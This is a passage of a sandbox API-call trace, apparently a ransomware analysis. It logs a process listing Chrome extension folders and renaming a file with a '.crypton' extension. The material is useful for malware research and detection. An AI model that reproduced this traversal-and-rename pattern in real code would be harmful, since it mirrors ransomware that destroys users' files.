ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.040] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82759950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf06ae1c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf06ae1c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.046] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82763590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf06d4320, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf06d4320, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.053] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8276d1d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf06d4320, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf06d4320, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.059] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82776e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf06d4320, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf06d4320, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.065] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8277e340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf06fa480, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf06fa480, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.074] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82787f80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf06fa480, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf06fa480, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.081] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82791bc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf07205e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf07205e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.088] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8279b800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf07205e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf07205e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.094] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827a2d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0746740, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0746740, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.103] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827aa260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0746740, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0746740, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.110] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827b3ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf076c8a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf076c8a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.118] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827c7720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf076c8a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf076c8a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.126] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827e4be0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0792a00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0792a00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.133] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827f5d50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0792a00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0792a00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.150] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828095d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf07b8b60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf07b8b60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.155] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8282b8b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf07decc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf07decc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.160] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8284db90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf07decc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf07decc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.165] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82863b20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf07decc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf07decc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.180] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8286b050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0804e20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0804e20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.186] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82872580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0804e20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0804e20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.191] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82879ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf082af80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf082af80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.196] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828836f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf082af80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf082af80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.201] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\*", lpFindFileData=0x4a6688 | out: lpFindFileData=0x4a6688*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828e7880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf08510e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf08510e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5499d0 [0193.206] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x814d6d00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf08510e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf08510e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549950 [0193.213] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\*", lpFindFileData=0x4a7030 | out: lpFindFileData=0x4a7030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86989eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf08510e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf08510e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549990 [0193.220] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png.crypton"), dwFlags=0x2) returned 1 [0193.227] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\*", lpFindFileData=0x4a6688 | out: lpFindFileData=0x4a6688*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0877240, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0877240, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5499d0 [0193.235] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf089d3a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf089d3a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.241] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf089d3a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf089d3a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.248] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf089d3a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf089d3a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.256] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf08c3500, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf08c3500, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.263] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf08c3500, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf08c3500, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.270] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf08e9660, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf08e9660, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.275] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf08e9660, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf08e9660, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.280] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf090f7c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf090f7c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0193.285] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\*", 